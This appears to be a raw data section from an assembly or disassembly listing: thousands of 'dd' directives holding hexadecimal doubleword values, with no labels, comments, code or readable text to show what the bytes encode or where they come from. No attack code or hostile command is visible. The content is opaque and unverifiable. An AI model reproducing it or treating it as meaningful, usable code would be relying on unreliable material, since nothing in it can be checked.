dd 0EAE7EC89h, 835D8200h, 0FECA522Dh, 0C7B900AAh, 1015944Fh
dd 88002A93h, 28AB5168h, 1F83F0B4h, 0F10C6Dh, 0EC174BEEh
dd 6500E035h, 62C45EE1h, 0FE4E344h, 9514E589h, 29F3620h
dd 0FA00A2BBh, 488858B5h, 2B082Ch, 940183Ch, 0AA49FFB0h
dd 7393C500h, 5328BF07h, 641500C3h, 99200634h, 2B0578DDh
dd 5B5C1189h, 60A478C2h, 30AEB15h, 0EC4502FAh, 0ADD85852h
dd 3B004683h, 0FFAE6787h
dd 581849B9h, 0BE3E568Fh, 0F8712ACh, 96C0A938h, 2C52D426h
dd 702AE309h, 0B6A83E4h, 3EEF9011h, 0CEB8001Ah, 8F748D2h
dd 0AF982792h, 371D64F4h, 74ECAC16h, 9880C21Ch, 0A5349714h
dd 7D2D0F72h, 19404312h, 0EC9E3937h, 0A446A00h, 0CE64AA58h
dd 5F8500D0h, 3C3DC93Fh, 0AD39DE9Fh, 75138059h, 508388EBh
dd 0A4C700AAh, 152553C6h, 2D004FF3h, 791E3AFCh, 9A5BF8h
dd 1241FE5h, 0AF11E459h, 0D0033D00h, 708498A4h, 0FEF28Fh
dd 736B6FF2h, 8CAA5524h, 8E749001h, 5E9219A7h, 2785F8h
dd 8503D10h, 2F0C2E64h, 48F83E0Ah, 8F00CDC6h, 5F4452B8h
dd 190A00E5h, 0AFF49940h, 0CD3A7180h, 0C2248012h, 826F8A62h
dd 796E1DA6h, 85550303h, 2EB1215Eh, 0A580F056h, 10658100h
dd 29DF4131h, 3D8F774Fh, 46002FC6h, 97A323Fh, 0C500249Ch
dd 0E8842B54h, 40B3F7h, 37181665h, 53429AFBh, 1331EA0Eh
dd 5F0E67EDh, 263A62C0h, 1493008Dh, 97103644h, 0D6755420h
dd 0F3619801h, 453B92DEh, 40CC32E9h, 4333CA9h, 0A126B700h
dd 29CA5C91h, 862B5B01h, 141CF92Fh, 0C62D30h, 0FBA1FE45h
dd 83C22D7Fh, 400EBF8h, 6A762170h, 136FCA5h, 75323C48h
dd 0C8180C24h, 0AE0F1499h, 0E0232091h, 100EEB29h, 0F09004Bh
dd 12AFAA95h, 0AC38C21Fh, 47F20079h, 4402652Ah, 407009F5h
dd 0DA8006F1h, 22F77ED2h, 1C1DE2FEh, 0B3262D45h, 91BDC600h
dd 687130h, 33485E79h, 0FA8A4FFCh, 28A97B00h, 39261980h
dd 2F7400F5h, 5DF45FC4h, 2200915Eh, 0F86594CAh, 0E8CEB09Ah
dd 0E6B89Dh, 9C14B218h, 2A0B24C3h, 0B0790800h, 8DFC5309h
dd 7D4EA48h, 5BC3048Ah, 212450DDh, 0D200AAB7h, 0DB94719Ch
dd 6F5F44Bh, 0B23A4BBh, 0C20098D1h, 3E988ACBh, 802113h
dd 7426C084h, 87ABF417h, 31A9CF02h, 8FA7FABFh, 76FCC086h
dd 0B42CDADh, 3D023267h, 48662A80h, 3F0044C4h, 2893DB49h
dd 3B5638A1h, 539DB732h, 3E8647Fh, 2018421Ch, 9F0243A8h
dd 3D90A13Dh, 0FF93EC8h, 20BCD91Eh, 41B1D44Fh, 11010033h
dd 0A4400343h, 6700DE34h, 0D8B4D753h, 88FC3Fh, 0DAAD330Ch
dd 24CDC029h, 0F753FE00h, 1CA7A5D2h, 3E500195h, 91DFC8A8h
dd 0B24460B5h, 55AFF39h, 17314FEBh, 6A697F80h, 5B301E21h
dd 63FC09Eh, 56846B4Ah, 0D3A38B2Ch, 0D044CF07h, 32EB6D70h
dd 40B20007h, 343F0937h, 26002D1Fh, 18465698h, 0F48071B5h
dd 0CC020035h, 0EE4CDA24h, 40001E09h, 8339B045h, 0D5CFAAh
dd 0A81AC91Ch, 0BBA5EDDAh, 5A962F0Eh, 0D748C0A4h, 0F3FE63Ah
dd 35252991h, 0C717BB60h, 1D006434h, 0A2D3D2E2h, 0E14F6Ah
dd 0B345233Eh, 20A9840Ch, 0E4EC3Ah, 0AA5382B6h, 4C092293h
dd 0B00FFBADh, 4FAF8157h, 0C010DA47h, 0F8BC1F2Ah, 9E031BB8h
dd 79BF4A85h, 6425A0FBh, 0A60C0F17h, 758F9339h, 7DD8C560h
dd 0ED7A8D35h, 0E4A83700h, 0D6561CCEh, 636E2A1h, 3465401h
dd 76007662h, 0E8028891h, 30D7B5Ah, 707E843Bh, 0F0F77A85h
dd 0AC758224h, 0D1E62798h, 9F952200h, 0D12A4FCh, 7A340047h
dd 0E804C8B9h, 7E3CC0ADh, 8770808Eh, 4DBEE269h, 54F20E3Eh
dd 9767FC24h, 8BA4D08Fh, 76072B5Ch, 0B5BCC025h, 0B752B620h
dd 0F0F6F1h, 0D092717Ah, 0FE81385Ah, 13DF8C00h, 883F0848h
dd 0A58B01B0h, 5E956B77h, 0BBBD3092h, 0D3005BF0h, 2704F3F0h
dd 11B974h, 9669508Ah, 1729BBC4h, 587CC80Bh, 0FBCF0048h
dd 3EED805Ch, 0FD00C74Eh, 35BFC195h, 320009E5h, 0E1731E82h
dd 85CA3Bh, 54862F07h, 109E6AE7h, 37B47E01h, 4E05ACBEh
dd 0B16FE8C7h, 393B3827h, 7822F980h, 0BF8EC59h, 6A3A401Ch
dd 0C38C49C0h, 2AFE909h, 97B4ED7Ah, 11601674h, 2FE21CC7h
dd 0B1283C00h, 0DF1ECBF9h, 0AD3D00DDh, 8AFA2730h, 653A22D2h
dd 34F49E60h, 9FCF3B40h, 961152h, 0FF8E2E25h, 553C0310h
dd 0AF04E4E5h, 1B0061F2h, 0D5A71477h, 37F4062h, 0A23F9A2Ch
dd 0C590832Eh, 9D054B6Ah, 0C35691Fh, 455ACD00h, 0E79117h
dd 324A8110h, 22C2098Fh, 0EFB8B000h, 0D6E22EFCh, 0AEEE00A7h
dd 5F74DADFh, 6A00B945h, 0BA8D4CD5h, 1BDE453h, 0D6F8A032h
dd 0CC653B40h, 0C8168E4Bh, 6603B809h, 88C9172Fh, 16D1CD99h
dd 0CF27A9h, 0D3672D0Fh, 4B00246Ah, 0C73D9C15h, 388712h
dd 0E1B5358Eh, 207B3AD8h, 3C5A101Ch, 0A14C2FCFh, 0EA9E0942h
dd 0C732D8h, 14FB89B0h, 3CDDA53Ah, 0A75DD901h, 932156D8h
dd 0B795A0E3h, 20B80010h, 8CBF553Dh, 7E0007F8h, 407D42FDh
dd 505AA41Fh, 722BF1DAh, 25180EA7h, 8CE0336Dh, 0C81E1479h
dd 47895C00h, 9298714Dh, 4ED51D64h, 7D2E40F1h, 0E637DA78h
dd 46B9C400h, 4B363A3h, 0BCB41CD0h, 0DDCEC0ECh, 0E06F25DFh
dd 7668EA0Fh, 603E4E20h, 3B644E2Bh, 487109h, 22759166h
dd 0A9944487h, 15BD8900h, 79566AA8h, 3A430913h, 5900DBB3h
dd 0A2580693h, 1D52FB00h, 9E947E59h, 1E3600F5h, 0CB349525h
dd 0AA003308h, 0A7E4C068h, 0F27AC322h, 2BE00051h, 6B0D85E6h
dd 0B03F1F6Ch, 6919DA4h, 0F64C880h, 4815F4CAh, 0C4002940h
dd 24269DF7h, 8D00090Ah, 6B5867EBh, 0E106F0h, 86C403AFh
dd 912C2040h, 2A621D01h, 4F28023Fh, 0B866F8h, 0A2F49C92h
dd 1C575E09h, 0DF956700h, 729A3F2Eh, 0A1651C96h, 0B2444140h
dd 70CAFDE2h, 1A07551Bh, 74B66068h, 8C9C9ED0h, 0B99D0042h
dd 0C8596D4Eh, 38C01CECh, 0CAFC4F7h, 54D20050h, 2C634585h
dd 4100723Bh, 154A0B4Fh, 355ECBh, 70AC4EA8h, 5FD5BD1h
dd 95796406h, 90740B9Dh, 11FEE7h, 2DAD3FB5h, 0A66E64E7h
dd 0A410500h, 0E3AFB666h, 3C6AF609h, 0F300FCBBh, 1354B0Bh
dd 9800FAC6h, 0C046D13h, 901C4E06h, 0A4AA0075h, 8DB8F011h
dd 2400640Ah, 0F243AB04h, 15007DEh, 0FF5F6AFBh, 0DC45E2DDh
dd 0B80BF7B9h, 80CE9504h, 0C451611Ch, 3DBA0EA4h, 0AE7C5F0h
dd 386A8088h, 3C039964h, 0A0108DA8h, 0D10B1DACh, 423483F2h
dd 14D8B2D8h, 0EF486A4Eh, 27400086h, 96554152h, 4D050775h
dd 0A054BA08h, 0FC7328BBh, 68008C74h, 6B2F135Ch, 4E5142h
dd 0D55247C2h, 0DE9DA396h, 43DA4100h, 77A98F27h, 2DAC00C5h
dd 3A1DA6DFh, 7E009D30h, 0D76967EDh, 13CA6Eh, 588DBADh
dd 847D8351h, 76818700h, 0A19BCCB8h, 2D900089h, 98F50CE6h
dd 0D7975F4h, 0BB167B00h, 310157FDh, 0C353064Bh, 662230EBh
dd 130073B8h, 90FA0681h, 53B858h, 0AB2CDC59h, 30680D1Eh
dd 3E25E93Eh, 0FC059C73h, 0EFC350C1h, 70E4BDB3h, 0F2213EB5h
dd 34232CFFh, 0CD00F37h, 604485A7h, 31382433h, 80522831h
dd 54E41940h, 87C99h, 144B2C11h, 7955A41Ah, 74A17D07h
dd 8B9303E8h, 0F60AB024h, 0B35300DDh, 5010255Bh, 0BEE60D5h
dd 0E2308300h, 9750E01h, 487E00FFh, 0A7521AA1h, 400D50Ch
dd 62BEE0DEh, 8153A0h, 438FE831h, 3325D16Bh, 0E909D275h
dd 0EBB4B47h, 0C8EF80D3h, 0EF26610h, 0B40A657Bh, 0AF80FEEEh
dd 5312EC43h, 295EEF0Eh, 7206803Ah, 7BA2EAh, 7885463Bh
dd 0FAFFD11Ch, 0D76C0E03h, 80FE4F0Fh, 472A7Ch, 7E8BF633h
dd 62C074C6h, 52605307h, 0D1B77718h, 0C297BC0h, 12440F9Fh
dd 0CC20F804h, 1A4626FFh, 0D9754F01h, 0A4DC4381h, 7FF59AE8h
dd 1C2C072Ah, 30D6AB18h, 373FE828h, 1AC758h, 0EC99EA24h
dd 5FA858h, 264C4442h
dd 5B2DAF53h, 0E094D500h, 3B1C98C4h, 74F9A0BEh, 547300ECh
dd 3ED6AA20h, 5198E2C1h, 5F184300h, 89652E7Ah, 545E0B24h
dd 360040D0h, 0E40594B1h, 7E75D40Eh, 81CC3A1h, 4842C020h
dd 50EEA6h, 19D0DC7Ch, 0D3245303h, 70463700h, 18C2A028h
dd 1834FA89h, 5A12FF82h, 0FC00AF74h, 5F39DB31h, 0D8E2B0h
dd 7E1DFD94h, 7CF60542h, 82000EE6h, 680AA21Ch, 974A18h
dd 40A5EB63h, 37148D3Eh, 4BC23B00h, 0B2D6FB7Dh, 0EE7717h
dd 910C1867h, 0C7D7C6B7h, 0AFC8A500h, 7F95A215h, 0B0040017h
dd 82D4BC92h, 1C007B29h, 0E0E8515Fh, 0F303231h, 330A440Dh
dd 9B0C960h, 3B02010Bh, 67D1C50h, 49DB608Bh, 9076010Ch
dd 78C3C129h, 7EB8304Ah, 5A8C081Dh, 7F56CA40h, 1749BBh
dd 48DA1A32h, 71546CB9h, 731F9E7Bh, 3D817256h, 75D13C89h
dd 868042BCh, 2C438890h, 9C71BE97h, 4548CB00h, 58FDAD80h
dd 0CA1F2820h, 0E81201E8h, 94684693h, 7034E4D8h, 7E0E37F6h
dd 0E0B7C11Bh, 0FED74E97h, 0F7C0302h, 6D3D7AF5h, 601F4DF8h
dd 0D2F13304h, 3F822D37h, 88B3638Ah, 0FA092h, 2808FD16h
dd 0E29C5E48h, 0FE00187Ch, 24B6BA8Ch, 4E99E1h, 3172403Bh
dd 20A621EEh, 9028A900h, 8DFEF55Eh, 54BF001Eh, 51C4D9A0h
dd 4470AB0Fh, 1C4BFF00h, 38BB5D9Dh, 0FEA7132h, 7607B91h
dd 149500D7h, 0AAD504F0h, 0F7303Bh, 5BDE97D1h, 107EB8Bh
dd 5DC9CAD4h, 0E8871067h, 0D50027E9h, 18D02325h, 2EDAED84h
dd 3F70A56Ah, 46FDC580h, 8E4769EAh, 0C3A1F400h, 838006C6h
dd 5198FFh, 0EF37107Eh, 0C4AA142Ah, 638A5D0Fh, 351E977Ch
dd 2FB42480h, 43D2D9h, 0CED555Ah, 70571908h, 871D79FAh
dd 54CF2088h, 803C004Ah, 638A551h, 58A2B891h, 89000B15h
dd 88BC461Eh, 0EA4E5690h, 1877F2h, 0EB1AC0Ah, 772E6D41h
dd 706A6200h, 7899DF60h, 14510010h, 22836350h, 7D5C4161h
dd 73760E0Dh, 0BF67606Eh, 44704Eh, 680E4A19h, 47667157h
dd 407C4100h, 6E727660h, 4CE900F9h, 6BC47ADDh, 6409F07Fh
dd 80A66974h, 534018CFh, 48770061h, 0B37C577Dh, 4E019046h
dd 7BE16ED3h, 62F89E67h, 8E700EF9h, 0FF1C1743h, 826C6F1Fh
dd 603B7165h, 731ECBC0h, 5F697D02h, 0E09EBE44h, 1E20AA15h
dd 800E1343h, 522A6670h, 71000C9Bh, 0EE4A7A73h, 0F888DE65h
dd 1243001Ch, 3637E72h, 61776D55h, 0B0604A00h, 0F07C6462h
dd 67700166h, 460E4486h, 5276EC0Ch, 45B0711Ch, 743961C2h
dd 6EF6E063h, 0C7D81DADh, 66F1404Dh, 76CC6A4Fh, 77146400h
dd 0A288477Fh, 0C12A000Dh, 2E54720Ch, 4B000E73h, 0EA6F4363h
dd 581862h, 6C1C6847h, 77875166h, 31706B00h, 1D466365h
dd 74487140h, 1F077972h, 80615167h, 74945527h, 88070F28h
dd 4AE36F54h, 6E40E29Eh, 0D373E06Bh, 429E0078h, 13048FEh
dd 6A0E654Bh, 0C7636961h, 0D3E128C0h, 87C421FBh, 0F860F834h
dd 681E009Fh, 486E38BFh, 95073052h, 1447CA1Ch, 3741150h
dd 61670046h, 60886376h, 8BA05677h, 6D000A62h, 7AA87D66h
dd 0E851F0A1h, 0AD210070h, 296F3A30h, 0E0FE626Bh, 9E68573Eh
dd 0EA0BE276h, 24C8045h, 3140E65h, 1830A560h, 48B07742h
dd 0B6006C63h, 74417289h, 613A71h, 1C0696Bh, 7A7B6DCBh
dd 0B7C24400h, 5A0D10DCh, 0E01C7AE1h, 0B82A0175h, 0E639C31h
dd 0A92FC8B9h, 80B3C400h, 7E2ABB5h, 84CB00A4h, 0A642143Ch
dd 0BC009996h, 642D45E5h, 382ACEh, 7B2B4CE4h, 406A0B86h
dd 0BB505Ch, 44A19946h, 7D0D3951h, 14101E15h, 67FC80C3h
dd 28B4C28h, 3D00F00h, 0C2203C50h, 17403AF6h, 21742B80h
dd 1CA73E16h, 0BA98FF00h, 61C40775h, 1D4775F7h, 0C2D1658Bh
dd 0AC95C031h, 0E35E4DE0h, 51291800h, 1B147945h, 0D2380457h
dd 81E7E0FBh, 60F1FFD3h, 24007CB5h, 2D46DD69h, 0EBFF497h
dd 0D55349Fh, 0F7A42520h, 9178C912h, 14B8801Fh, 8C850F00h
dd 0F2AEB19h, 0CE906544h, 7481644Fh, 71830E54h, 0D020CD66h
dd 1A004240h, 122E3C32h, 262FE175h, 1C8FD16Dh, 0E861C085h
dd 0E6AC4A5Fh, 1A552800h, 23224653h, 71110E44h, 528033B2h
dd 35752B03h, 19998D00h, 0BE15811Dh, 0D0FA00A4h, 53451BACh
dd 9000C343h, 4ECC175Ch, 0B140A8h, 100E5BE5h, 0ECF17A24h
dd 28B80AEEh, 58A01A00h, 1BE82654h, 8BA71D76h, 0BED10069h
dd 0AE173B19h, 18F58900h, 0C35B02D6h, 884E0055h, 3B975E9Dh
dd 0C000F2DFh, 0A5CBDB1h, 7A768B25h, 0AA830E12h, 5A204E7Eh
dd 7AD026BEh, 2844B51Fh, 1100B8D3h, 0FC5D8E40h, 335C2C8Ah
dd 183A0043h, 1B10475h, 3FE9EB00h, 84ED1C80h, 1DF807C9h
dd 0F0C2FE9Dh, 7A325434h, 0A556EC00h, 93FAB2AAh, 8F8100AFh
dd 0C84BBA75h, 0EA00C434h, 4F7DF7FEh, 25378AAh, 8CA82F21h
dd 436084DBh, 0FC7A46E9h, 930157F0h, 0C40C21CCh, 0B8C7C890h
dd 1C248D4Ah, 0C0BD86F0h, 511216FDh, 0FF7D42B9h, 10FBA100h
dd 88FEF822h, 0DFE90F41h, 0B3473E6Ch, 0EBA5815Eh, 0F0BAF0B4h
dd 0CCB70100h, 0BDBFE02h, 8B170074h, 4ABF5CC3h, 760F09F8h
dd 545DF0Ch, 0FB80EB0Fh, 2D6995h, 0E885D959h, 49BA1E37h
dd 5DCCC300h, 0F07D833Ah, 0EBF93D10h, 365097h, 0D9028E0Fh
dd 0C80F6CADh, 40160615h, 0EA9674Ch, 11758Dh, 0B7987827h
dd 0C514D885h, 3C958700h, 0A15DAF9Fh, 8D5601B1h, 43CF49B5h
dd 1B2480C4h, 0CDC340B9h, 47823C5Eh, 1B66A12h, 7F17FB56h
dd 851EC422h, 0BC49403h, 0D0763F0Fh, 0F4BA3437h, 8C310053h
dd 1CEB7FD8h, 0C02C3C90h, 27002784h, 558BF1B8h, 0EF360006h
dd 26DC4522h, 0E8000A10h, 82D4BF3h, 32FEF4h, 8A2FEC2Eh
dd 0D76219D6h, 830003E6h, 8EC1A5F8h, 14546C6h, 6EB029DEh
dd 0C8305399h, 2600567Eh, 82502D13h, 259C7DDh, 44B3D375h
dd 0D3C095BAh, 400A58Dh, 4FF53FEAh, 8C7CFFh, 42297AE9h
dd 34288B01h, 0F0210407h, 0C70515Eh, 15F4F48h, 9B5A0F7h
dd 0D8FE3020h, 603C3E57h, 6C5E8051h, 11790114h, 4A0F00D6h
dd 55D0DCE9h, 743EBD56h, 2BDA80BCh, 40722EBh, 8053B84h
dd 12410C01h, 0E028C310h, 0F600D311h, 1CBA2F13h, 3455251h
dd 87A2EBC6h, 0E4A0BFE5h, 0AC00F24Fh, 6C7E8086h, 1A7434h
dd 512F822Ch, 0CEB5E4Bh, 800377Ah, 0ABC66F8Ah, 0BA91C93h
dd 0CEAF8B5Ah, 90D35707h, 16B5D1FDh, 0DDAEFC00h, 0DA96AF4h
dd 1BEE004Eh, 0ECB34F89h, 0C0047D8h, 0B45EBD03h, 0D224BFh
dd 60923949h, 9F6BE41h, 32E6B07h, 9E30E4BCh, 0D31840h
dd 244C283h, 0DCA12550h, 805D203Eh, 80D0FF04h, 6583F0h
dd 0B106FE3Bh, 76BE695Bh, 6EC0FA00h, 73BF1210h, 0E333000Ah
dd 0D854045Fh, 0A90352EBh, 257435A4h, 6D069022h, 905A007Fh
dd 0E99527C3h, 8900AAFFh, 821B4E42h, 0EC0257EBh, 0B8D3F5D6h
dd 5098F23h, 12D5BEDBh, 0B4B00092h, 837825E9h, 46EC600h
dd 0E0EB72B6h, 7C75038Eh, 14AEA1A8h, 0D99548A0h, 0EE000E4Eh
dd 279F2838h, 16770756h, 0E7EB2DB4h, 0D92A62F1h, 0CF228E60h
dd 0CEFA3300h, 63B87924h, 76DA0049h, 0D428B921h, 0B7007599h
dd 432FD9B2h, 2356A7h, 464592EEh, 690C16EBh, 30B3B00h
dd 24CF2BCAh, 0DF8A006Fh, 0AE4927Ch, 0A000275Fh, 91F333Ah
dd 0F383C50Ch, 0D8C8E931h, 1E993EB5h, 82920E00h, 0EB68422Bh
dd 75014F00h, 3C6D2859h
dd 96E60025h, 0D4DDC30Ch, 80072089h, 1DC0267Bh, 0B50098B7h
dd 437EE0h, 0F5AC921Bh, 0B0C1D73Bh, 450C532Ch, 0EFC25000h
dd 437FC6h, 2856A9F9h, 8F7D0EEh, 0A8517A00h, 2DA6D3AAh
dd 8C4D005Dh, 0BF156726h, 13007387h, 3FE5F685h, 7031188h
dd 0A4BC625Ch, 0E08DF7AEh, 0A9841D6h, 8024683Eh, 0FA92A97Dh
dd 0F4C5E5A6h, 19640F34h, 0A500A8BEh, 358498F2h, 28033372h
dd 9D863210h, 0E628039h, 7A2C1D11h, 8158CA2h, 2B7D4F0Ch
dd 28783F03h, 0A90C5820h, 63C510AFh, 75D0EC0h, 0D7B153C5h
dd 294E00B7h, 3E037654h, 7D7A47D2h, 717CF190h, 609825E0h
dd 8563822Fh, 6B006E96h, 0EC3DFB4Bh, 1E4C52ACh, 0EEAFF5DBh
dd 2EDC0941h, 3752880h, 0D7B850B3h, 6899D500h, 2C78B22Fh
dd 49F2015Dh, 0E27BCDE1h, 0A391F004h, 1253430Fh, 4EA2A0F0h
dd 29C6F5h, 4138DA0Ch, 0C7FD04D8h, 4FEC3F00h, 1E4319DFh
dd 0C3E809D6h, 880CA07h, 1AC11BC9h, 21B9F58h, 9C18153Bh
dd 1254E047h, 0C550001h, 9FAD0575h, 161F8AF4h, 8414258h
dd 1A91CB03h, 0AF46FCh, 0B454BF2Ah, 0D5E868E1h, 0B9CC8900h
dd 8D6C2730h, 527E003Ch, 0A7EC044Bh, 0E400E85Bh, 104914D5h
dd 0A0DA2Ch, 0B619890Ch, 0FAD0FB04h, 752D3C01h, 0E2F0D1F1h
dd 721C64D8h, 0CC7B0024h, 15D63479h, 0B3003E35h, 64658420h
dd 384E3Dh, 0DC5B6C21h, 91879D68h, 0A4A22404h, 4EC09015h
dd 71E4CB2h, 5C7AB3FAh, 0AC6607Eh, 0EB07EE47h, 0D7FFE215h
dd 0DB497190h, 45170314h, 0A130306h, 2E77F098h, 48F0F2ABh
dd 4A3E6FE5h, 816A3A8Ah, 0EBFEC134h, 9A70F31Ah, 0FF0A00C0h
dd 0E4390855h, 0BAFE7347h, 0E0257F00h, 5ADEF7FBh, 45600728h
dd 618A6543h, 0D94CD0A8h, 68E8EB85h, 4D9C7DE0h, 84A22C06h
dd 1CD6EAC4h, 0C0096422h, 0BAF5784Ah, 0C400EB0Ah, 0B6E83C80h
dd 4CC1E924h, 11DAEA7h, 0A9840003h, 8AB08805h, 0C0001CE4h
dd 80CA8B2Eh, 7E690C1h, 0C7D31EE9h, 40FAE70Fh, 0E1040675h
dd 72102C00h, 0B0368332h, 0FC3A0090h, 0FCCFD20h, 8100FB92h
dd 83D02BB9h, 2CDD05EAh, 395280C2h, 65E8F980h, 488E3763h
dd 308DEDE5h, 3A0E51B3h, 0BCC990A8h, 68A1C07h, 1757ED1h
dd 0A0881FC0h, 0F2EB3CF2h, 4FC0032h, 5C9FB9EFh, 42006C4Dh
dd 0FF54BB17h, 4722B87h, 46F302D8h, 0F880EE89h, 3E0313A4h
dd 1D004D93h, 7601C71Ch, 0EBE09237h, 0E93C1703h, 0D00467C0h
dd 3F052AC8h, 0EE82B14Eh, 8DABAF16h, 0CC7EC0DFh, 720904E8h
dd 80F6D48Fh, 3DD3BD3Ch, 0D1242EFAh, 0C6006A71h, 1237E903h
dd 2B9600AAh, 108DE776h, 3A0075B8h, 0C45420A7h, 1F2C0F3Eh
dd 0C4097202h, 874A0CFAh, 0D0A3B0CAh, 2D008319h, 0B4CFCCE0h
dd 66ED10h, 0F8AD68E7h, 851C7DA4h, 0CCF4423Dh, 7B301D4Eh
dd 3F13DAEEh, 185C4D02h, 688E0E8Ch, 0DE26001Dh, 7DF8C549h
dd 0D2E20300h, 7F242305h, 29700A1h, 0E0F9FDF2h, 0EE007EC9h
dd 0BF82D8ADh, 0ABA3E8h, 0EB058567h, 0F516031Bh, 0CFD7EA00h
dd 0B8AA5584h, 51271E91h, 0E8D04040h, 0B2566F20h, 7396DD05h
dd 5580DF44h, 77FFA2h, 75CBFB59h, 534FC04Eh, 92747F24h
dd 1800E024h, 0DE4BE810h, 9E140E12h, 68AF9608h, 0EB1E0AE0h
dd 0D20B9349h, 803FB0A3h, 0A850EFE1h, 4A170094h, 7D5F32BCh
dd 11008279h, 41C9945h, 3F1ADA0Dh, 130ED1F5h, 6C60B3C7h
dd 45AB85D8h, 14934400h, 1A42F883h, 0AE7F7Fh, 47498476h
dd 88D6CB55h, 23517100h, 54B88A3Eh, 37320025h, 3CD160B2h
dd 5300F71Eh, 14421343h, 797AF1C1h, 0C89C0076h, 0EA2C7E4Fh
dd 0F5004B1Eh, 8F8C04CAh, 4CBFA749h, 40001B32h, 0F8D7F484h
dd 6500929Fh, 0D43DAF3Fh, 496659h, 0A9A44526h, 47441653h
dd 0A69DAE18h, 0EC550Eh, 0ABF00798h, 3B06E98Ch, 75E89300h
dd 0D9E23AE1h, 84503D4h, 0A7C77632h, 0FF96EBE0h, 4F127A1Dh
dd 0AA39C4C0h, 24F46C58h, 3B184487h, 8130299Fh, 463B03D8h
dd 0E43AE881h, 0AE1756FCh, 8500F1E0h, 342D220Dh, 85000CCh
dd 0DED4BA04h, 0B400E542h, 6B1CDAB6h, 74AE9046h, 16A11F8Fh
dd 7CA88E8Bh, 0CAFC5B60h, 920034F5h, 1C5815D1h, 0E3AC6Eh
dd 8F433614h, 8C9C46A2h, 8A40F101h, 814A3B08h, 603D840h
dd 428D0050h, 4D98EA0Ah, 2900E8F0h, 845E575Bh, 0A0D2754Bh
dd 0CCED8Ch, 0F0BE481Ch, 0B3AE8C0Dh, 9AFC6A00h, 7FE7F353h
dd 0F5DF03AAh, 7A8D7B58h, 22B5780Fh, 2FA4035h, 0F3F4CB8h
dd 2FBF0142h, 53A22A00h, 33001034h, 6547E788h, 3D180C04h
dd 0AB805249h, 41B26CECh, 0F586E34h, 70690052h, 37AF60A3h
dd 2162005Ah, 1D6B400Dh, 0DB3B2B88h, 0C805003Ch, 0C4156550h
dd 0BF77E9h, 0F12F40Ch, 95845D85h, 3C3E9A67h, 0C74E30C7h
dd 43501C6Ch, 494E38h, 800EF8FCh, 7E9AD9Dh, 0EC007571h
dd 0D43808FDh, 855FC9h, 5EB133A3h, 0BAA068FCh, 119E3202h
dd 0C054DF08h, 7E14DE57h, 5C69006Eh, 4F77042h, 4F5C2A6Ah
dd 300D1FD0h, 0B01C8700h, 1F625FD6h, 0E651C8h, 702EC949h
dd 0A10378BAh, 0A3015785h, 954ED020h, 0D34900C4h, 0BAFD561Ah
dd 541E4406h, 7B43A155h, 0B8503CB0h, 1CE00B04h, 80A80858h
dd 5B4C53E8h, 0C400C98Bh, 0C62D4B9Bh, 0FE48475Ah, 706C0161h
dd 0B8877B34h, 8350DDA1h, 3899940Fh, 42F397B2h, 430B07A0h
dd 323CC8D1h, 6F000AD8h, 243D05h, 7728C342h, 6119CA17h
dd 4015BA00h, 9504890Dh, 3C39EC6Dh, 0AC804582h, 0BE51C270h
dd 0B8004929h, 0C61744BBh, 4A407Ah, 3BD2AF24h, 33F2B911h
dd 0BCB37B16h, 0E4751600h, 0BB6FF5Ah, 0DB2493B8h, 302D6580h
dd 0DC00EE0Bh, 0FB832E57h, 0A32259h, 5CDF1198h, 733DB092h
dd 0DEA7021Eh, 9521E42h, 6821C013h, 1E50084h, 0C419FED5h
dd 0BA0005C8h, 0CB5F4F1Ch, 2B82B54h, 0EAA2E809h, 0A2C1CA03h
dd 30F1600Eh, 5F58A37Dh, 8BBF0094h, 0CCE8DDD8h, 24BA070Ch
dd 0B0CF6D38h, 467154ABh, 8EC2130Eh, 0A0F12F10h, 204DE4E2h
dd 3CF87708h, 22584354h, 0E80FEC00h, 945E6A0Dh, 41FD301h
dd 1CBE6096h, 31FCBD40h, 4C5001C0h, 0A80E6802h, 7FAED4AAh
dd 3FFFE400h, 0E6DE9481h, 10793CDBh, 0B881D53Ah, 6DFEBDAAh
dd 3CC0200Bh, 500A6500h, 86EA015Eh, 55D404E1h, 80FF31F5h
dd 40DEDDB3h, 51118300h, 5C196795h, 107F001Fh, 0FEFAF876h
dd 0CF031896h, 0D6148E60h, 50FCF072h, 0D5380088h, 8702BFEDh
dd 8D26559Bh, 0B300E052h, 507A366Ch, 0FE3500F6h, 0ADD66AF9h
dd 5002818h, 47CA0CC1h, 4FC8D53h, 0C6297BDFh, 0F09587DCh
dd 0A94FFD0Fh, 0EAE1AB00h, 0FCD4A7FEh, 3F750029h, 12E653FFh
dd 0ECB064A4h, 3FF4FA4Ch, 0E9098082h, 22021845h, 0DB313D53h
dd 0E5E8B780h, 0E2ABC8A0h, 3F61F600h, 750F09C3h, 5D7D07h
dd 0B355565Ah, 0D14B1620h, 810CEA3Ah, 527333D6h, 0EB20077Fh
dd 114000B4h, 31577242h, 43F8484Dh, 9729863Ch, 0F3002625h
dd 544CF20h, 0B3850266h, 7C080C2Ch, 3B4C980h, 2B1F4BD6h
dd 0B0000A60h, 0C8022E18h, 3F800F06h, 0DC01353h, 2008101Ah
dd 4AA64126h, 3ED0003Fh, 2440D848h, 0C2790950h, 38805F86h
dd 8E0E7412h, 28824C01h, 0C780D231h, 0F7E2C8h, 4101028Ah
dd 0F686140Bh, 7570E000h, 0DE3C58F2h, 7637723Ah, 3378F7h
dd 801F7BCDh, 44470FF8h, 73C6F600h, 0A3A5275h, 0E6B37740h
dd 54D30F20h, 5C401460h
dd 612BC889h, 817A4400h, 586A07E2h, 0F0C43FE4h, 781CC91Ch
dd 40CEDC60h, 1001DF6h, 10B77538h, 1C9EBA3h, 39F00A7Bh
dd 0ECC156CCh, 0BC00FA04h, 869460A0h, 0EDEF69Dh, 3FAC8313h
dd 0D089AD00h, 807DCDEBh, 0A8201E00h, 0EA7D901h, 0A2F10021h
dd 0CF02F2F0h, 0AC3910B8h, 0D06A4A4h, 1A24D904h, 669CFA81h
dd 7397B0FBh, 0C4883C05h, 0E072500h, 0F62FCA5h, 0EA7B8401h
dd 2F2985FAh, 0E0499F0h, 0E03906ADh, 32C30720h, 172C7440h
dd 1739997Ah, 74126601h, 0D9075913h, 804B49BFh, 5BBCE94Bh
dd 0A41002EBh, 6143536h, 222AD880h, 480FC8EDh, 0A0026433h
dd 0BD105CCBh, 0E8E00B70h, 9407A326h, 2A271FC4h, 3E45A01Bh
dd 5500A98Fh, 0D84BC179h, 0DFBBF3h, 0CED2031Fh, 0F25B64BEh
dd 0BCC45424h, 791B200h, 4A0250h, 18066C74h, 3FEB2880h
